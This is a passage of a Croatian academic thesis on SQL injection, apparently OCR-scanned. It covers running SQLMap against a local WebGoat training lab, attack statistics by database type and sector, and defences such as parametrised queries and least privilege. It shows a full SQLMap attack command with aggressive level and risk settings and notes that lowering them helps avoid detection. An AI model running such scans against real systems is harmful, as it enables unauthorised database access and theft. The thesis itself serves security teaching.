User-Agent: Mozilla/5.8 (Windows NT 18.8; Wing4; x64) AppleWebkKit/537.36
X-Requested-With: XMLHttpReguest

* Form Data view parsed

name=1l&auth_tan=2

Slika 5.3 Chrome web preglednik snimka upita

Unutar snimljenog upita sadrzane su sve informacije koje su nam potrebne za pokretanje

SQLMap skeniranja. Kako se forma koju pokuSavamo napasti nalazi na stranici koja
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zahtijeva korisnicku prijavu, potrebno je postaviti cookie parametar. URL parametar
pokazuje na koju stranicu ¢e biti poslani podatci. Polja koja su dostupna na formi imaju naziv
name i auth tan, akako bismo ih mogli poslati na posluzitelj, koristimo parametar data
u kombinaciji s parametrom method. Level | risk parametrima kontroliramo razinu
agresivnosti. Svakim napadom riskiramo otkrivanje, a ukoliko Zelimo povecati Sanse da
prodemo neopazeno mozemo smanjiti level | risk parametre. Beep parametar sluzi da
SQLMap proizvede zvucni signal kada nam treba postaviti pitanje ili kada se otkrije
ranjivost. Ovo nisu sve moguénosti SQLMap alata; moguce je detaljnije podesiti parametre,
a zelimo li saznati cijelu listu parametara, mozemo Kkoristiti —hh parametar. Napad je

pokrenut sa sljede¢im parametrima:

./sglmap.py
—--cookie="JSESSIONID=DB65A070F6ECD5A98D4B3E9F1037DC19"
--url 'http://localhost:8080/WebGoat/SglInjection/attack8’
--data "name=l&auth tan=2" --method POST
--level=5 --risk=3 --beep

Nakon §to smo pokrenuli skriptu s gore navedenim parametrima, SQLMap je uspjesno

detektirao da se radi o HSQLDB (Hyper SQL Database) verzije 1.7.2, te da je nad
parametrima auth tan i name moguce izvesti 4 vrste napada (Slika 5.4):

» Boolean-based blind

= Stacked queries

» Time-based blind

=  UNION query.

33



L ] [WARNING] Co L
sqlmap identified the follov ( 2337 HTTP(s) requests:

/ query - comm
ING(REPEAT (RIGH

d blind Cheavy quer:
CHAR(113) | |[CHAR(84) | |CH?
N ([INFERENCE]) THEN REGEX

/ING clause
.auth_tan=2

13| ¢
([INFERENCE])

(NULL) - 6 column
CT NULL ,NULL,|

T r S -
NULL , NULL , NULL ,NULL R NFORMATION_SCHEMA. SYSTEM_USERS [¢

there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: name, type: Single quoted string (default)

[1] place: POST, parameter: auth_tan, type: Single quoted string

[qél} Quit

[ ] ]
back-end DBMS: HSQLDB >= 1
Slika 5.4 SQLMap primjer napada

Navedeni napad Stacked queries odnosi se na ulanavanja naredbi (engl. batch SQL

statements).

Prema sluzbenoj dokumentaciji SQLMap alata, podrzani sustavi upravljanja relacijskim
bazama podataka su MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft
Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, HSQLDB i H2. Uz
otkrivanje ranjivosti treba napomenuti i to da nakon Sto je otkriven propust, SQLMap moze
automatski pokusati prikazati sve korisnike, razinu prava, popis baza podataka, popis svih
tablica i odgovarajucih kolona. Takoder, podrzava otkrivanje vrste hash algoritma koji je
koriSten kod kolona. Moguce je manipulirati datotekama, stavljati i dohvacati datoteke s
posluzitelja. Pokretanje naredbi na posluzitelju takoder je vrlo zanimljiva opcija

napadacima.
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6. Analiza i preventivne mjere

Prema statistikama za listopad 2019. godine preuzetih s web stranice ,,DB-Engines.com**,

mozemo vidjeti (Slika 6.1) da 75.5 posto svih baza podataka koje se koriste na svjetskoj

razini, spadaju u kategoriju relacijskih baza podataka (engl. Relational DBMS).

Document stores 8.7%

Wide column stores 3.2%
Time Series DBMS 0.6% - Graph DEMS 1.5%
Search engines 4.7% Key-value stores 4.7%
Mative XML DEMS 0.3%

RDF stores 0.4%

Relational DBMS 75.5%
£ 2019, DE-Engines.com
Slika 6.1 Raspodijela baza podataka prema kategoriji®

Takoder prema statistikama ,,DB-Engines.com**, unutar Kategorije relacijskih baza
podataka, najzastupljeniji sustavi za upravljanje bazama podataka su Oracle, MySQL i
Microsoft SQL Server, koje zbirno uzimaju 76 posto svjetskog trzista (Slika 6.2).

4 https://db-engines.com/
5 https://db-engines.com/en/ranking_categories
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Other

Oracle

PostgreS0L
10%

Microsoft S0L Server
22%

MysaL
26%

Slika 6.2 Postotak zastupljenosti relacijskih baza podataka na svjetskom trzistu

Kako su relacijske baze podataka vrlo zastupljene na svjetskom trzistu, one postaju meta
malicioznih napadaca koji pokusavaju zaobici sigurnosne mjere te se domo¢i podataka koji
se nalaze unutar njih. Prema istrazivanjima Akamai organizacije [5], ¢ak 21.6 posto napada

u 2017. godini su napadi umetanja SQL kbda (engl. SQL Injection).

g
6.2% 21.6%

Cross-5Site Scripting
SQAL Injection

Path Traversal

Local File Inclusion

Remote Code Execution
and 05 Commanding

Information Leakage
HTTP Yerb Tampearing

Cross-Site Request Forgery

“ Z#wz@A @EHEEN

Cenial of Service
Server-Side Requeast Forgery

Other

11.4% 21.6%

Top 10 web application attacks

Slika 6.3 Najucestalije vrste napada na web aplikacije
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Akamai organizacija je takoder napravila istrazivanje napada po Sektorima poslovanja.
Najucestalije mete napada su: IT, bankarski, drzavni i1 zdravstveni sektor. Statistike napada
po sektorima poslovanja su Sarolike. U iducoj tablici mozemo vidjeti postotke napada SQL

umetanja kdda po sektoru.

Naziv sektora Postotak napada SQL umetanja kdda
Drzavni 31.5%

Bankarski 10.1%

Zdravstveni 46%

IT 31.8%

Tablica 6.1 Postotak napada umetanja SQL kdda po sektoru

6.1. Preventivhe mjere

Sigurnost aplikacije moze Se povecati tako da se pridrzavamo par savjeta struke koji su se u

praksi pokazali u¢inkovitima.

Trebali bi se izbjegavati inline upiti (poglavlje 3) te pokusati u svim situacijama koristiti
parametrizirane SQL upite, kao Sto je prikazano na primjeru Kod 3.2. U nekim pak
situacijama nije mogucée izbjeéi inline upite. Prilikom koristenja inline upita, Cesto se
dogadaju propusti zbog nedostatka sanacije korisnickog unosa. Primjerice, ukoliko kao unos
o¢ekujemo godinu, mozemo provjeriti da je korisnik unio samo brojke; o¢ekujemo 1i unos
rijeéi ili reenica, potrebno provjeriti da korisnik nije unio znakove, poput navodnika ili
minusa, koji bi mogli izmijeniti Zeljeno ponasanje upita, §to mozemo vidjeti u primjeru Kod

3.3.

Korisnicima koji pristupaju bazi treba dati minimalna prava potrebna za rad. Najcesce je
dovoljno dati korisnicima indirektan pristup podatcima kroz poglede i procedure (Poglavlje
2.3). Rijetko kada korisniku treba pristup na cijelu bazu podataka. Primjerice, zaposlenici
koji rade u raCunovodstvu trebaju prava Citanja, izdavanja i izmjene racuna te stavke rac¢una.
Zaposlenici koji rade u sluzbi za korisnike trebaju samo prava ¢itanja bez izmjena rauna,
no ujedno im je potrebno pravo izmjene lozinke korisnika, ukoliko se dogodi da je korisnik

zaboravio svoju lozinku. Zaposlenicima rac¢unovodstva nisu potrebna prava izmjene lozinke
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korisnika. Na taj nafin se smanjuje mogucnost Stete koju maliciozan napada¢ moze

prouzrociti dode li do krade vjerodajnica zaposlenika.

Takoder, treba izbjegavati SELECT upit koji vraca sadrzaj putem *. Uzmemo li za primjer
tablicu ,,Kupci® koja sadrzi kolone ,,Ime®, ,,Prezime* i ,,Adresa®, te koristimo proceduru
koja sadrzi sljede¢i SQL upit za dohvacanje podataka:

CREATE PROCEDURE DohvatiKupce

AS

SELECT * FROM Kupci
Korisniku ,,pperic® dodijelimo prava na proceduru ,,DohvatiKupce®, pratili smo princip
minimalnih prava i u tom trenu je sve kako treba. No, kasnijim razvojem aplikacije,
programer dodaje kolonu ,,BrojKreditneKartice* koju korisnik ,,pperic* ne bi trebao vidjeti.
Nehotice smo napravili sigurnosni propust zbog koriStenja operatora *. Da smo naveli
kolone unutar upita na iduci nacin:

CREATE PROCEDURE DohvatiKupce
s
SELECT Ime, Prezime, Adresa FROM Kupci
Ne bi doslo do sigurnosnog propusta. Navedeni propust je povezan s principom minimalnih

prava potrebnih za rad.

S obzirom na to da je izuzetno tesko uhvatiti sve sigurnosne propuste, postivanjem ovih
principa ¢emo umanjiti Stetu napadaca, ukoliko on uspije pronaci sigurnosni propust u naSem
sustavu. U pronalasku gresaka nam od velike pomoc¢i moze biti koristenje automatiziranog
alata koje smo spomenuli u poglavlju 5. Svakom izmjenom ili dodavanjem novih znacajki
na aplikaciji, potencijalno moZemo uvesti sigurnosni propust kojeg napada¢i mogu
iskoristiti. Nije prakticno sa svakom novom verzijom aplikacije rucno testirati cijelu
aplikaciju, stoga mozemo iskoristiti automatizirane alate koji ¢e bez ljudske interakcije

provjeriti sigurnost aplikacije i u obliku izvje$¢a prikazati potencijalne probleme.
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7. Zakljucak

U radu smo na prakti¢nim primjerima pokazali osnovne i napredne metode napada umetanja
SQL kbéda. Svi programski jezici, svi operativni sustavi i svi sustavi upravljanja relacijskim
baze podataka su podlozni napadima umetanja SQL kdda, jer greska nije u njima, veé¢ u
neznanju ili nepaznji programera koji nije predvidio potencijalni sigurnosni propust unutar
svog kbda. Svaki uspjesan napad na sustav moze imati vrlo destruktivne posljedice; moze
do¢i do ugroze ili do krade podataka. Kako je napad vrlo trivijalno sprijeciti, potrebno je u

ranoj fazi obrazovanja programera imati veci fokus na sigurnosni aspekt aplikacija.

U ovom radu nisu pokazane sve metode kojima se napadaci sluze kako bi neovlasteno

pristupili podatcima, a svakim danom se pronalaze nove metode i propusti.

Svaka organizacija ili tvrtka bi trebala educirati svoje zaposlenike 1 revidirati postojece
sustave, kako bi osigurala najviSu razinu sigurnosti. Ukoliko unutar organizacije nedostaju
ljudi s potrebnim znanjima, postoje tvrtke koje se specijaliziraju u otkrivanju greSaka unutar

sustava, a proces pronalaska gresaka je poznat i kao penetration testing.

Unutar rada smo istrazili 1 pokazali da postoje automatizirani alati koji su sposobni pronaci
greske unutar aplikacije. SQLMap se pokazao kao napredan alat koji podrzava pregrst
sustava za upravljanje relacijskim bazama podataka te posjeduje vrlo velik popis poznatih
ranjivosti i metoda napada.

Obrana od ovakve vrste napada je zaista trivijalna i moZe se primijeniti na sve programske
jezike i sve sustave upravljanja relacijskim bazama podataka, a osnovni princip zastite je u

koristenju parametriziranih SQL upita.
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Popis kratica

SQL  Structured Query Language

I8 Internet Information Services
HTML HyperText Markup Language

CSS  Cascading Style Sheets

API Application programming interface
URL  Uniform Resource Locator

strukturni upitni jezik

internet informacijski posluzitelj

sucelje za programiranje aplikacija

uskladeni lokator sadrzaja
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